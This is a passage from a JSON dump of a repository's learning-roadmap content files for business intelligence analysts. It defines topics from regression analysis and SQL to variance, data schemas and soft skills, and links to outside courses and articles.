    "content": "# Regression Analysis\n\nRegression analysis is a form of predictive modelling technique which investigates the relationship between dependent and independent variables. It is used for forecast, time series modelling and finding the causal effect relationship between variables. In essence, Regression techniques are used by BI analysts to predict a continuous outcome variable (dependent variable) based on one or more predictor variables (independent variables). The main goal is to understand how the typical value of the dependent variable changes when any one of the independent variables is varied, while the other independent variables are held fixed.\n\nVisit the following resources to learn more:\n\n- [@course@Intro to Inferential Statistics](https://www.udacity.com/course/intro-to-inferential-statistics--ud201)\n- [@article@Regression: Definition, Analysis, Calculation, and Example](https://www.investopedia.com/terms/r/regression.asp)\n- [@article@A Refresher on Regression Analysis - Harvard](https://hbr.org/2015/11/a-refresher-on-regression-analysis)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/reinforcement-learning@KFONHuJNnCuSOH7-8Ndvm.md",
    "content": "# Reinforcement Learning\n\nReinforcement learning is a type of machine learning where an agent learns to make decisions in an environment to maximize a cumulative reward. It involves the agent taking actions, receiving feedback in the form of rewards or penalties, and adjusting its strategy to improve its performance over time. Unlike supervised learning, it doesn't rely on labeled data but rather learns through trial and error.\n\nVisit the following resources to learn more:\n\n- [@course@Deep Reinforcement Learning Course by HuggingFace](https://huggingface.co/learn/deep-rl-course/unit0/introduction)\n- [@article@What is reinforcement learning?](https://online.york.ac.uk/resources/what-is-reinforcement-learning/)\n- [@article@Resources to Learn Reinforcement Learning](https://towardsdatascience.com/best-free-courses-and-resources-to-learn-reinforcement-learning-ed6633608cb2/)\n- [@video@Reinforcement Learning in 3 Hours | Full Course using Python](https://www.youtube.com/watch?v=Mut_u40Sqz4)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/relevance@UhcniUDKmi7KNuXlolf5O.md",
    "content": "# Relevance\n\nRelevance, in the context of data quality, refers to the degree to which data is useful and applicable for its intended purpose. Data is considered relevant if it directly addresses the needs of the analysis or decision-making process it's being used for. Irrelevant data can lead to inaccurate insights, wasted resources, and ultimately, poor business outcomes."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/responsibilities@Q-GmBJiRdBS_xLeOjef2R.md",
    "content": "# BI Analyst Responsibilities\n\nAs a BI Analyst, you're the bridge between raw data and actionable insights. You transform complex information into clear, understandable reports and dashboards that drive strategic decision-making. Your work empowers stakeholders to identify trends, optimize performance, and achieve business goals.\n\nHere are 5 main responsibilities of a BI Analyst:\n\n*   **Data Collection & Cleaning:** Gathering data from various sources and ensuring its accuracy and consistency.\n*   **Data Analysis & Modeling:** Analyzing data to identify trends, patterns, and insights, and creating data models for reporting.\n*   **Report & Dashboard Development:** Designing and building interactive dashboards and reports to visualize data and communicate findings.\n*   **Stakeholder Communication:** Presenting findings and recommendations to stakeholders in a clear and concise manner.\n*   **Performance Monitoring:** Tracking key performance indicators (KPIs) and identifying areas for improvement.\n\nVisit the following resources to learn more:\n\n- [@article@So What Do You Actually Do As A BI Analyst?](https://www.youtube.com/watch?v=TaRuzC8RSZU)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/resume-optimization@m9EwcekZ_l0XHiKeQ8emr.md",
    "content": "# Resume Optimization\n\nResume optimization is the process of refining your resume to make it more appealing to potential employers. This involves tailoring your resume to match specific job descriptions, using relevant keywords, highlighting your accomplishments with quantifiable results, and ensuring a clear and concise format. You can optimize your resume by carefully reviewing job postings, identifying key skills and experiences, and then rewriting your resume to emphasize those areas. Also, new AI-powered tools are emerging to help you optimize your resume.\n\nVisit the following resources to learn more:\n\n- [@article@Top 10 AI Tools for Resumes and Job Applications](https://www.quantumanalyticsco.org/blog/top-10-ai-tools-for-resumes-and-job-applications)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/retail--e-commerce@7LbhfkmS7oFoSF1k5ZR1U.md",
    "content": "# Retail & E-commerce\n\nBusiness intelligence in retail and e-commerce helps companies understand their sales trends, customer behavior, and operational efficiency. By analyzing data from various sources like point-of-sale systems, website analytics, and customer databases, retailers can identify top-selling products, optimize pricing strategies, personalize marketing campaigns, and improve inventory management. This data-driven approach enables them to make informed decisions, enhance customer experiences, and ultimately increase profitability."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/risk-analytics@JHGV0V78GXubiSY9P3nTw.md",
    "content": "# Risk Analytics\n\nRisk analytics involves identifying, assessing, and mitigating potential risks that could impact an organization's financial stability and overall performance. It uses data analysis techniques to understand the likelihood and potential consequences of various risks, such as market volatility, credit defaults, and operational failures. The goal is to provide insights that enable informed decision-making and proactive risk management strategies.\n\nVisit the following resources to learn more:\n\n- [@article@What are financial risk analytics?](http://stripe.com/en-es/resources/more/what-are-financial-risk-analytics-what-businesses-need-to-know)\n- [@article@Risk Analysis: Definition, Types, Limitations, and Examples](https://www.investopedia.com/terms/r/risk-analysis.asp)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/salary-negotiation-strategies@k3F9Tdqo3XYgMLOKGjpxA.md",
    "content": "# Salary Negotiation Strategies\n\nSalary negotiation strategies involve preparing for and engaging in discussions with potential employers to secure the best possible compensation package. This includes researching industry benchmarks, understanding your worth, practicing your negotiation skills, and knowing when to compromise or walk away. The goal is to confidently advocate for your value and achieve a salary that reflects your skills and experience.\n\nVisit the following resources to learn more:\n\n- [@article@15 Rules for Negotiating a Job Offer](https://hbr.org/2014/04/15-rules-for-negotiating-a-job-offer)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/sales-performance@VPu8vn7-baZQ5ORJ6ViW0.md",
    "content": "# Sales Performance\n\nSales performance refers to how well a company or individual is doing in terms of generating revenue through sales activities. It involves tracking, analyzing, and improving various metrics like sales volume, revenue growth, conversion rates, and customer acquisition cost to understand what's working and what's not in the sales process. This understanding helps businesses make informed decisions to optimize their sales strategies and achieve their revenue targets."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/scatterplot@hCSZo7jT9arBLUbtCVFfD.md",
    "content": "# Scatterplot\n\nA scatterplot is a type of data visualization that uses dots to represent values for two different variables. Each dot's position on the horizontal and vertical axes indicates the values for an individual data point. Scatterplots are primarily used to observe and display the relationship or correlation between these two variables, revealing patterns, clusters, and outliers in the data."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/seasonality@moWrEfuKE06QwbznsH3V-.md",
    "content": "# Seasonality\n\nSeasonality refers to predictable, recurring patterns within a time series dataset that occur over a fixed period. These patterns repeat regularly, such as daily, weekly, monthly, or yearly. Identifying and understanding seasonality is crucial for accurate forecasting and analysis, as it allows you to account for these repeating fluctuations and make more informed predictions about future trends.\n\nVisit the following resources to learn more:\n\n- [@video@Complete Time Series Analysis and Forecasting with Python](https://www.youtube.com/watch?v=eKiXtGzEjos)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/semistructured@qHcRrxenhogymMQ6EPiMa.md",
    "content": "# Semistructured Data\n\nSemistructured data doesn't conform to the rigid structure of a relational database but still has some organizational properties, like tags or markers, that separate data elements and enforce hierarchies of records and fields within the data. It's not raw data, but it also doesn't fit neatly into tables with rows and columns. Examples include JSON and XML files, where data is organized using tags and attributes, making it easier to parse and understand than completely unstructured data."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/skewness@X0DBG0mEWk25PEbLHhs7v.md",
    "content": "# Skewness\n\nSkewness is a measure of the asymmetry of a distribution. A distribution is asymmetrical when its left and right side are not mirror images. A distribution can have right (or positive), left (or negative), or zero skewness, where the tails are roughly equal. A right-skewed distribution is longer on the right side of its peak, and a left-skewed distribution is longer on the left side of its peak. This measure helps understand data structure, the presence of outliers, and its suitability for statistical analyses.\n\nVisit the following resources to learn more:\n\n- [@article@Skewness](https://en.wikipedia.org/wiki/Skewness)\n- [@article@Skewness | Definition, Examples & Formula](https://www.scribbr.com/statistics/skewness/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/skills@iRgtog5A13CTNDxnbGN9x.md",
    "content": "# Skills for a BI Analyst\n\nA BI Analyst needs a mix of technical and soft skills to effectively gather, analyze, and present data insights. This includes proficiency in data analysis tools like SQL and Excel, data visualization software such as Tableau or Power BI, and statistical analysis techniques. Strong communication skills are also essential for translating complex data findings into understandable reports and presentations for stakeholders. Furthermore, problem-solving, critical thinking, and a solid understanding of business principles are crucial for identifying trends, patterns, and opportunities within data."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/soft-skills@mi88uLdJBXaxJ2yVOSqqo.md",
    "content": "# Soft Skills\n\nSoft skills are personal attributes that enable someone to interact effectively and harmoniously with other people. These skills, like communication, teamwork, and problem-solving, are crucial for building strong relationships, navigating complex situations, and achieving shared goals. They complement technical abilities and contribute significantly to overall professional success by fostering collaboration, understanding, and a positive work environment.\n\nVisit the following resources to learn more:\n\n- [@article@The Skills You Need to Work in Business Intelligence Analytics](https://tripleten.com/blog/posts/the-skills-you-need-to-work-in-business-intelligence-analytics)\n- [@article@10 Essential Soft Skills for Data Analysts](https://bigblue.academy/en/soft-skills-for-data-analysts)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/sql-fundamentals@s8LZgRwrlm1V4meGM7gj0.md",
    "content": "# SQL Fundamentals\n\nSQL stands for Structured Query Language. It is a standardized programming language designed to manage and interact with relational database management systems (RDBMS). SQL allows you to create, read, edit, and delete data stored in database tables by writing specific queries.\n\nVisit the following resources to learn more:\n\n- [@official@SQL Roadmap](https://roadmap.sh/sql)\n- [@article@Tutorial - Essential SQL For The Beginners](https://www.sqltutorial.org/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/sql@_iV_5O5Rq07P9qRGrraTM.md",
    "content": "# SQL for Exploratory Data Analysis\n\nSQL is a powerful tool for exploring data because it lets you quickly look at large datasets. You can use SQL to filter data based on specific conditions, calculate summary statistics like averages and counts, and group data to see patterns. Its simple syntax makes it easy to write queries to understand the characteristics of your data, identify potential issues, and prepare it for further analysis.\n\nVisit the following resources to learn more:\n\n- [@video@51:14 YouTube · Data with Baraa SQL Exploratory Data Analysis (EDA) Project](https://www.youtube.com/watch?v=6cJ5Ji8zSDg)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/sqlite@lrksz861rE5m2XzOQPwgh.md",
    "content": "# SQLite\n\nSQLite is a lightweight, serverless, self-contained SQL database engine that is designed for simplicity and efficiency. It is widely used in embedded systems and applications where a full-featured database server is not required, such as mobile apps, desktop applications, and small to medium-sized websites. SQLite stores data in a single file, which makes it easy to deploy and manage. It supports standard SQL queries and provides ACID (Atomicity, Consistency, Isolation, Durability) compliance to ensure data integrity. SQLite’s small footprint, minimal configuration, and ease of use make it a popular choice for applications needing a compact, high-performance database solution.\n\nVisit the following resources to learn more:\n\n- [@official@SQLite](https://www.sqlite.org/index.html)\n- [@article@SQLite Tutorial](https://www.sqlitetutorial.net/)\n- [@article@SQLite Introduction](https://www.youtube.com/watch?v=8Xyn8R9eKB8)\n- [@article@Explore top posts about SQLite](https://app.daily.dev/tags/sqlite?ref=roadmapsh)\n- [@video@SQLite Introduction - Beginners Guide to SQL and Databases](https://www.youtube.com/watch?v=8Xyn8R9eKB8)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/stakeholder-identification@e3SdmNpVcvy3k_-JIO6OK.md",
    "content": "# Stakeholder Identification\n\n**Stakeholder identification** is the process of determining who the key individuals or groups are that have an interest in, or are affected by, a project or business initiative. This involves understanding their roles, influence, and potential impact on the project's success. Identifying stakeholders early and accurately is crucial for effective communication, managing expectations, and ensuring that the project aligns with the needs and goals of all relevant parties.\n\nVisit the following resources to learn more:\n\n- [@video@4 Most Common Stakeholders in Business Intelligence](https://www.youtube.com/watch?v=iPfwEjRhm7w)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/stakeholder-management@r-m88g8xrUnuEpV2lHJfN.md",
    "content": "# Stakeholder Management\n\nStakeholder management involves identifying individuals or groups who have an interest in a project or business outcome and then developing strategies to effectively communicate with and manage their expectations. This includes understanding their needs, addressing their concerns, and ensuring their involvement throughout the project lifecycle to achieve successful results and maintain positive relationships."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/standardisation@TCYG6vmFqq1zAPNQWoOH8.md",
    "content": "# Data Standardisation\n\nData standardisation is the process of transforming data into a consistent and uniform format. This involves converting data values to a common unit, format, or scale, ensuring that different data sources can be easily compared and analysed. This process helps to eliminate inconsistencies and ambiguities, leading to more accurate and reliable insights.\n\nVisit the following resources to learn more:\n\n- [@article@Data Standardization: How It's Done & Why It's Important](https://www.simplilearn.com/what-is-data-standardization-article)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/star-vs-snowflake-schema@iYe42G31fhkAO0MBaHutF.md",
    "content": "# Star vs. Snowflake Schema\n\nStar vs Snowflake Schema\n========================\n\nA star schema is a way to organize data in a database, namely in data warehouses, to make it easier and faster to analyze. At the center, there's a main table called the **fact table**, which holds measurable data like sales or revenue. Around it are **dimension tables**, which add details like product names, customer info, or dates. This layout forms a star-like shape.\n\nA snowflake schema is another way of organizing data. In this schema, dimension tables are split into smaller sub-dimensions to keep data more organized and detailed, just like snowflakes in a large lake.\n\nThe star schema is simple and fast -ideal when you need to extract data for analysis quickly. On the other hand, the snowflake schema is more detailed. It prioritizes storage efficiency and managing complex data relationships.\n\nVisit the following resources to learn more:\n\n- [@article@Star Schema vs Snowflake Schema: Differences & Use Cases](https://www.datacamp.com/blog/star-schema-vs-snowflake-schema)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/statistical-tests@01k_mfsp0eW6TX9yp8PDE.md",
    "content": "# Statistical Tests\n\nStatistical tests are methods used to determine if there's enough evidence to reject a null hypothesis. They help us decide whether observed differences or relationships in data are likely due to a real effect or simply due to random chance. These tests involve calculating a test statistic and comparing it to a critical value or calculating a p-value to assess the strength of the evidence against the null hypothesis. The choice of a specific statistical test, like a t-test or chi-square test, depends on the research design, data type (e.g., normal distribution), and the variables being analyzed.\n\nVisit the following resources to learn more:\n\n- [@article@Choosing the Right Statistical Test | Types & Examples](https://www.scribbr.com/statistics/statistical-tests/)\n- [@article@List of statistical tests](https://en.wikipedia.org/wiki/List_of_statistical_tests)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/std@vqtzg9bydAqHMwZhPHo1a.md",
    "content": "# Standard Deviation (STD)\n\nThe sample standard deviation is a statistical measure used to quantify the variation within a dataset. Specifically, it tells us how much individual data points in a sample differ from the sample mean. It's calculated as the square root of the variance. A low standard deviation indicates that the data points are generally close to the mean, while a high standard deviation implies that the data points are spread out over a wider range\n\nVisit the following resources to learn more:\n\n- [@article@Standard Deviation Formula and Uses vs. Variance](https://www.investopedia.com/terms/s/standarddeviation.asp)\n- [@article@Standard Deviation](https://www.youtube.com/watch?v=esskJJF8pCc)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/storytelling-framework@t_J0MZTMWMnrImGHjXYov.md",
    "content": "# Storytelling Framework\n\nA storytelling framework provides a structured approach to crafting narratives from data insights. It typically involves defining the audience, identifying the key message, structuring the narrative with a clear beginning, middle, and end, and using visuals to support the story. This framework helps to present data in a compelling and easily understandable way, ensuring the audience grasps the significance of the findings.\n\nVisit the following resources to learn more:\n\n- [@article@3 Storytelling Frameworks I Am Using To Transform My Content Writing](https://writingcooperative.com/3-storytelling-frameworks-i-am-using-to-transform-my-content-writing-8433c83ce87e)\n- [@video@Visual storytelling 101: elevating presentations with data visualization](https://www.youtube.com/watch?v=NXx0xQn7OXI)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/strategic-bi@3BxbkrBp8veZj38zdwN8s.md",
    "content": "# Strategic planning\n\nStrategic planning defines an organization's long-term vision and high-level goals, while operational planning breaks these goals into short-term, detailed tasks and daily actions to achieve them. Strategic actions, designed for the long term, generally cover a period of 5 to 10 years."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/structured@jnIn3_2fI2k97oALPZkt7.md",
    "content": "# Structured Data\n\nStructured data refers to information organized in a predefined format, typically stored in relational databases. This data has a defined length and type, making it easily searchable and analyzable. Common examples include data found in spreadsheets or SQL databases, where information is organized into rows and columns."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/supervised-learning@eZN_ty8VDX9mi5KtCWTFL.md",
    "content": "# Supervised Learning\n\nSupervised machine learning forms an integral part of the toolset for a Data Analyst. With a direct focus on building predictive models from labeled datasets, it involves training an algorithm based on these known inputs and outputs, helping Data Analysts establish correlations and make reliable predictions. Fortifying a Data Analyst's role, supervised machine learning enables the accurate interpretation of complex data, enhancing decision-making processes.\n\nVisit the following resources to learn more:\n\n- [@article@What is Supervised Learning?](https://cloud.google.com/discover/what-is-supervised-learning)\n- [@article@Supervised Learning](ttps://www.datacamp.com/blog/supervised-machine-learning)\n- [@video@Supervised Machine Learning Explained For Beginners](https://www.youtube.com/watch?v=Mu3POlNoLdc&pp=0gcJCf8Ao7VqN5tD)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/supply-chain-analytics@7jrzQogTOc6lHXfpYLCsx.md",
    "content": "# Supply Chain Analytics\n\nSupply Chain Analytics involves using data to understand and improve all aspects of a company's supply chain, from sourcing raw materials to delivering finished products to customers. This includes analyzing data related to inventory levels, transportation costs, supplier performance, and demand forecasting to identify bottlenecks, optimize processes, and reduce costs. The goal is to create a more efficient, responsive, and resilient supply chain.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Supply Chain Analytics?](https://www.ibm.com/think/topics/supply-chain-analytics)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/supply-chain-optimization@-hNguvT6SQCqAgVpoQByr.md",
    "content": "# Supply Chain Optimization\n\nSupply chain optimization involves streamlining the processes of sourcing, production, and distribution to maximize efficiency and minimize costs. It focuses on improving the flow of goods, information, and finances across the entire supply chain, from raw materials to the end customer. This includes strategies for inventory management, transportation, warehousing, and demand forecasting to ensure the right products are available at the right place, at the right time, and at the right cost.\n\nVisit the following resources to learn more:\n\n- [@article@How supply chain analytics keeps processes and products moving](https://www.teradata.com/insights/data-analytics/supply-chain-analytics)\n- [@article@Enhance Efficiency: Supply Chain Analytics in Manufacturing](https://www.scatterpie.io/blogs/supply-chain-analytics-in-manufacturing)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/tableau@WzPj94lYxQCjFx5YW4X9x.md",
    "content": "# Tableau\n\nTableau is a powerful data visualization tool utilized extensively by data analysts worldwide. Its primary role is to transform raw, unprocessed data into an understandable format without any technical skills or coding. Data analysts use Tableau to create data visualizations, reports, and dashboards that help businesses make more informed, data-driven decisions. They also use it to perform tasks like trend analysis, pattern identification, and forecasts, all within a user-friendly interface. Moreover, Tableau's data visualization capabilities make it easier for stakeholders to understand complex data and act on insights quickly.\n\nVisit the following resources to learn more:\n\n- [@official@Tableau](https://www.tableau.com/en-gb)\n- [@video@What is Tableau?](https://www.youtube.com/watch?v=NLCzpPRCc7U)\n- [@video@Learn Tableau in Under 2 hours](https://www.youtube.com/watch?v=j8FSP8XuFyk)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/tactical-bi@jJukG4XxfFcID_VlQKqe-.md",
    "content": "# Tactical BI\n\nTactical planning is responsible for establishing goals and conditions for the actions to be carried out outlined in strategic planning. Moreover, assessing and monitoring risks to address them effectively is essential.\n\nWhile strategic planning covers the entire organization, tactical planning operates on a more limited scale. It is implemented at the departmental level, sometimes focusing on specific end-to-end processes, and usually covers a period of 1 to 3 years."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/time-series-analysis@yseEaLsEzIcqJ0YIoGujl.md",
    "content": "# Time Series Analysis\n\nTime series analysis is a statistical method used to analyze data points collected over time to identify patterns, trends, and seasonal variations. It involves examining a sequence of data points indexed in time order, allowing for forecasting future values based on historical observations. This analysis helps in understanding the underlying processes that generate the data and predicting future behavior.\n\nVisit the following resources to learn more:\n\n- [@article@Time series](https://en.wikipedia.org/wiki/Time_series)\n- [@article@Time Series Analysis: Definition, Types & Techniques](https://www.tableau.com/analytics/what-is-time-series-analysis)\n- [@article@Introduction to Time Series Analysis](https://www.itl.nist.gov/div898/handbook/pmc/section4/pmc4.htm)\n- [@video@What is Time Series Analysis?](https://www.youtube.com/watch?v=GE3JOFwTWVM)\n- [@video@Complete Time Series Analysis and Forecasting with Python](https://www.youtube.com/watch?v=eKiXtGzEjos)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/timeliness@5USjYdAVJs0gSXxE1j8Xu.md",
    "content": "# Timeliness\n\nTimeliness, in the context of data quality, refers to how up-to-date data is when it's needed. It measures the gap between when data is expected and when it's actually available for use. Data that is too old or delayed can lead to inaccurate analysis and poor decision-making."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/trends@On6kznZxLTCpBPskdZtgT.md",
    "content": "# Trends in Time Series Analysis\n\nTrends in time series analysis refer to the long-term movement or direction of data points in a dataset over a period of time. Identifying trends helps to understand the underlying patterns and predict future values. These trends can be upward (increasing), downward (decreasing), or stationary (relatively constant) and are often analyzed to make informed decisions and forecasts.\n\nVisit the following resources to learn more:\n\n- [@article@Complete Time Series Analysis and Forecasting with Python](https://www.youtube.com/watch?v=eKiXtGzEjos)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/types-of-bi-operations@LjeipkY01Hlkp22kmlAMh.md",
    "content": "# Types of BI Operations\n\nBusiness operations are traditionally grouped in 3 hierarchical levels of management: strategic, tactical, and operational operations, each with a different scope, time frame, and purpose."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/types-of-data-analysis@3DVF8zo-_WM_9GTuzQFO8.md",
    "content": "# Types of Data Analysis\n\nData Analytics has proven to be a critical part of decision-making in modern business ventures. It is responsible for discovering, interpreting, and transforming data into valuable information. Different types of data analytics look at past, present, or predictive views of business operations.\n\nBI Analysts, as ambassadors of this domain, employ these types, to answer various questions:\n\nDescriptive Analytics (what happened in the past?) Diagnostic Analytics (why did it happened in the past?) Predictive Analytics (what will happen in the future?) Prescriptive Analytics (how can we make it happen?)\n\nVisit the following resources to learn more:\n\n- [@article@The 4 Types of Data Analysis: Ultimate Guide](https://careerfoundry.com/en/blog/data-analytics/different-types-of-data-analysis/)\n- [@video@Descriptive vs Diagnostic vs Predictive vs Prescriptive Analytics: What's the Difference?](https://www.youtube.com/watch?v=QoEpC7jUb9k)\n- [@video@Types of Data Analytics](https://www.youtube.com/watch?v=lsZnSgxMwBA)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/types-of-data@H1s1PQj8CHQ_VBQIy1VtJ.md",
    "content": "# Types of data\n\nData types are categorized into structured, unstructured, and semi-structured data, differing in their organization and format\n\nVisit the following resources to learn more:\n\n- [@article@Data Basics: Structured, Unstructured, and Semi-structured Data](https://www.alation.com/blog/structured-unstructured-semi-structured-data/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/types-of-errors@SosOXxErMn0t2KCoHoxvS.md",
    "content": "# Types of Errors\n\nIn hypothesis testing, a Type I error (false positive) occurs when you incorrectly reject a true null hypothesis, while a Type II error (false negative) happens when you fail to reject a false null hypothesis. These are the two types of mistakes that can be made when deciding whether to accept or reject the null hypothesis, with their probabilities denoted by alpha (α) and beta (β), respectively.\n\nVisit the following resources to learn more:\n\n- [@article@Type I & Type II Errors | Differences, Examples, Visualizations](https://www.scribbr.com/statistics/type-i-and-type-ii-errors/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/unstructured@DJKXgelIxuahxJiqvwP6I.md",
    "content": "# Unstructured Data\n\nUnstructured data refers to information that doesn't have a predefined format or organization. This type of data is typically text-heavy but can also include multimedia like images, audio, and video files. Because it lacks a structured format, it's more challenging to process and analyze directly compared to structured data."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/unsupervised-learning@6l_tHC1R5zgABHMc_G6RD.md",
    "content": "# Unsupervised Learning\n\nUnsupervised learning, as a fundamental aspect of Machine Learning, holds great implications in the realm of data analytics. It is an approach where a model learns to identify patterns and relationships within a dataset that isn't labelled or classified. It is especially useful for a Data Analyst as it can assist in recognizing unforeseen trends, providing new insights or preparing data for other machine learning tasks. This ability to infer without direct supervision allows a vast potential for latent structure discovery and new knowledge derivation from raw data.\n\nVisit the following resources to learn more:\n\n- [@article@What is Unsupervised Learning?](https://cloud.google.com/discover/what-is-unsupervised-learning)\n- [@article@Introduction to Unsupervised Learning](https://www.datacamp.com/blog/introduction-to-unsupervised-learning)\n- [@video@Unsupervised Machine Learning Explained For Beginners](https://www.youtube.com/watch?v=yteYU_QpUxs&pp=ygUbI3doYXRpc3Vuc3VwZXJ2aXNlZGxlYXJuaW5n)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/variables-and-data-types@HM1w6JJquaV6Vq4mjxM7p.md",
    "content": "# Variables and Data Types\n\nVariables are characteristics or attributes that can be measured or counted, and they can take on different values. Data types classify these variables based on the kind of values they can hold, such as numbers (integers, decimals), text (strings), or logical values (true/false). Understanding variables and their data types is fundamental for organizing, analyzing, and interpreting data effectively.\n\nVisit the following resources to learn more:\n\n- [@article@Variable Data Types Explained](https://www.freecodecamp.org/news/variable-data-types-explained/)\n- [@article@Intro to Statistics](https://www.udacity.com/course/intro-to-statistics--st101)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/variance@ZmSwDn0sP7HvLKYVzRwPJ.md",
    "content": "# Variance\n\nThe variance measures the spread between numbers in a dataset. Simply put, it measures how far each number in the set is from the mean (average). It helps us understand how spread out or consistent the values are in a dataset.\n\nVariance is calculated by averaging the squared differences from the mean. First, find the mean of your data set. Then, subtract the mean from each data point, square those differences, sum them up, and finally, divide by either (n-1) for a sample or n for a population, where n is the number of data points.\n\nVariance can't be interpreted in the original units of measurement due to its squared nature, which is why it is often used in conjunction with its square root, the standard deviation.\n\nVisit the following resources to learn more:\n\n- [@article@What is Variance?](https://www.investopedia.com/terms/v/variance.asp)\n- [@article@How to Calculate Variance](https://www.scribbr.co.uk/stats/variance-meaning)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/visualization-best-practices@eKBORkRU6HCH-D4GWHyKR.md",
    "content": "# Visualization Best Practices\n\nVisualization best practices are a set of guidelines and principles that help you create effective and informative data visualizations. These practices focus on clarity, accuracy, and aesthetics to ensure that your visualizations communicate insights clearly and avoid misleading interpretations. They cover aspects like choosing the right chart type, using color effectively, and designing layouts that are easy to understand.\n\nVisit the following resources to learn more:\n\n- [@article@Data Visualization Tips and Best Practices](https://www.tableau.com/visualization/data-visualization-best-practices)\n- [@article@Visual Best Practices](https://help.tableau.com/current/blueprint/en-us/bp_visual_best_practices.htm)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/visualization-fundamentals@sltVKaKKjmzu17jDv9OFF.md",
    "content": "# Visualization Fundamentals\n\nData visualization is the graphical representation of information and data. By using visual elements like charts, graphs, and maps, data visualization tools provide an accessible way to see and understand trends, outliers, and patterns in data. It transforms raw data into meaningful insights, making it easier to identify relationships and draw conclusions.\n\nVisit the following resources to learn more:\n\n- [@book@The Ultimate Data Visualization Handbook for Designers](https://uxmag.medium.com/the-ultimate-data-visualization-handbook-for-designers-efa7d6e0b6fe)\n- [@course@Business Intelligence Fundamentals](https://www.simplilearn.com/free-business-intelligence-course-online-skillup)\n- [@article@What Is Data Visualization? Definition, Examples, And Learning Resources](https://www.tableau.com/visualization/what-is-data-visualization)\n- [@article@Fundamentals of Data Visualization](https://clauswilke.com/dataviz/introduction.html)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/web@xQLsuJ3uohVzOxGfFLyFw.md",
    "content": "# Web Data Sources\n\nWeb data sources refer to information collected from the internet. This includes data scraped from websites, data from APIs (Application Programming Interfaces) that websites expose, and data collected through web analytics tools. This information can range from website traffic and user behavior to product pricing and social media trends."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/what-is-bi@jVXwlHRGgVpcoWCYzSB5W.md",
    "content": "# Business Intelligence (BI)\n\nBusiness Intelligence (BI) involves using data to understand past and present business performance and to predict future trends. It encompasses the processes and technologies used to collect, analyze, and visualize data, ultimately helping organizations make better, data-driven decisions. This includes reporting, online analytical processing (OLAP), data mining, process mining, complex event processing, business performance management, benchmarking, and predictive analytics.\n\nVisit the following resources to learn more:\n\n- [@course@Business Intelligence Fundamentals](https://www.simplilearn.com/free-business-intelligence-course-online-skillup)\n- [@article@What Is Business Intelligence - Microsoft](https://www.microsoft.com/en-us/power-platform/products/power-bi/topics/business-intelligence/what-is-business-intelligence)\n- [@article@What Is Business Intelligence (BI)? - IBM](https://www.ibm.com/think/topics/business-intelligence)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/what-is-data@g5j_mbjx2yZUIK5lfN3eT.md",
    "content": "# What is Data?\n\nData are facts or pieces of information. They are often measurements or observations, or opinions. Usually, data is collected to be analyzed to find insights, draw a conclusion, or make a decision."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/why-bi-matters@NX-YaB_FVjoHYsR6z9QIL.md",
    "content": "# Why BI Matters\n\nIn today's data-driven world, organizations need to make informed decisions quickly and efficiently. Business Intelligence (BI) analysis and the role of a Business Analyst are crucial for transforming raw data into actionable insights. By identifying trends, patterns, and anomalies, BI helps organizations understand their performance, optimize processes, and gain a competitive edge. A skilled Business Analyst bridges the gap between data and business strategy, ensuring that insights are translated into tangible improvements and strategic advantages.\n\nVisit the following resources to learn more:\n\n- [@course@Business Intelligence Fundamentals](https://www.simplilearn.com/free-business-intelligence-course-online-skillup)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/window-functions@1toMuRZResgse1AtwEck6.md",
